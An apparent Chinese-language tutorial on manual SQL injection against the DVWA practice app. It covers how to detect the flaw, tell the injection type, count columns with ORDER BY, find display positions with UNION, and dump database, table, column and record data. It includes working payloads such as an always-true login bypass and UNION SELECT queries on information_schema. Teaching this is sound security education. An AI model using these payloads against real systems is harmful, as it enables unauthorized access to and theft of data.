SQL注入(一)

步骤与流程

  1. 判断漏洞是否存在
  2. 判断注入类型
  3. 判断表中列数
  4. 确定显示位
  5. 获取数据
    1. 获取数据库名、版本
    2. 获取数据库表名
    3. 获取某个表的字段名
    4. 获取字段中的记录

判断漏洞是否存在

原理:

根据客户端返回的结果来判断提交的测试语句是否成功被数据库引擎执行,如果测试语句被执行了,说 明存在注入漏洞。

一般利用单引号(’)或者双引号(”)来判断是否存在漏洞,如果出现SQL语句错误说明有很大的可能会 存在漏洞。

例子:

若后端通过下面语句向数据库获取数据:

1
SELECT first_name, last_name FROM users WHERE user_id = '$id';

正常执行的结果会把符合要求的user_id回显。

然而,如果此时 ‘$id’的值为“ 1‘ ”,那么SQL语句就会变成:

1
SELECT first_name,last_name FROM users WHERE user_id = '$id'';

多了一个单引号,因为单引号不匹配,则会报错。如果能引起数据库的报错,说明用户是可以 对查询语句进行修改的,说明存在漏洞。

判断注入类型

因为查询语句可以分成查数字和查字符两种。

1
SELECT x FROM t WHERE id = xxx;
1
SELECT x FROM t WHERE id = 'xxx'

如果是字符型,若想进行注入,那就应该对引号进行闭合。

原理

判断注入类型是数字型还是字符型,这涉及到在注入的过程中是否需要添加单引号,可以使用and( 逻 辑与)进行判断,,当条件表达式两边都为真才是真,有一边为假则是假

例子

  • 1 and 1=1

  • 1 and 1=2

如果输入“1 and 1=1”和“1 and 1=2”页面的查询结果都返回相同的内容,说明不是数字型注入。既然不是 数字型,那就有很大的可能是字符型注入了。

如果是字符型则需要对单引号(’)进行闭合,因为MySQL中的引号都是成双成对出现的。

当用户输入上方的判断语句时,如果是数字型注入,则SQL 语句变成

1
2
SELECT first_name, last_name FROM users WHERE user_id = 1 and 1=1;
SELECT first_name, last_name FROM users WHERE user_id = 1 and 1=2;

如果是字符型注入,则变成

1
2
SELECT first_name, last_name FROM users WHERE user_id = '1 and 1=1';
SELECT first_name, last_name FROM users WHERE user_id = '1 and 1=2';

此时前两条语句执行结果不同,后两条结果不同

原因:MySQL的隐式转换

判断表中的列数

原理

为了方便后续获取数据,需要先知道查询的表中显示的字段数,可以使用order by来进行判断。ORDER BY*语句用于根据指定的列对结果集进行排序。

用法:order by 列名或者order by 列编号。

特性:当order by的数字大于当前的列数时候就会报错,SQL注入利用这个特性来判断列数

1
SELECT first_name, last_name FROM users WHERE user_id = '1' order by 1#';

从1一直往下试 最终判断出表的列数

若使用万能密码 需要保留真值

如万能密码为:

1
a' or 1=1#

则使用order by 判断列数需要保留 1=1

1
a' or 1=1 order by 1#

确定显示位

原理

显示位:在一个网站的正常页面,服务端执行SQL语句查询数据库中的数据,客户端将数据展示在页面 中,这个展示数据的位置就叫显示位。

UNION 操作符用于合并两个或多个 SELECT 语句的结果集,UNION 结果集中的列名总是等于 UNION 中第一个 SELECT 语句中的列名,并且UNION 内部的 SELECT 语句必须拥有相同数量的列。列也必须拥 有相似的数据类型。同时,每条 SELECT 语句中的列的顺序必须相同。

例句:

1
-1' union select 1,2,3 -- a 

其中 -1(不常用的id)若改为1(常用的id),那么union前面子句的查询结果可能会覆盖在显示位上,导致后面的子句结果不可见。

此时观察1、2、3中哪个数字在页面中显示,该数字所占位置就是显错位。

获取数据

1. 获取数据库名和版本

1
1' union select version(),database()

2. 获取数据库表名

1
2
-1' union select 1,table_name from information_schema.tables where
table_schema='dvwa'

很多网站只显示1条结果,为了能够输出所有结果,可以使用group_concat()函数,将多行合并成一行:

1
2
-1' union select 1,group_concat(table_name) from information_schema.tables where
table_schema='dvwa'
注:

有时候单纯输入以上语句会报错:

1
Illegal mix of collations for operation 'UNION'

解决方案:将select子句格式可能有问题的部分用hex()处理一下

1
-1' union select 1,hex(group_concat(table_name)) from information_schema.tables where table_schema='dvwa'

参考此文章:https://blog.csdn.net/m0_47470899/article/details/118695774

3. 获取某个表中的字段名

1
2
-1' union select 1,group_concat(column_name) from information_schema.columns
where table_name='guestbook'

4. 获取字段中的记录

1
-1' union select 1,group_concat(comment_id,comment,name) from guestbook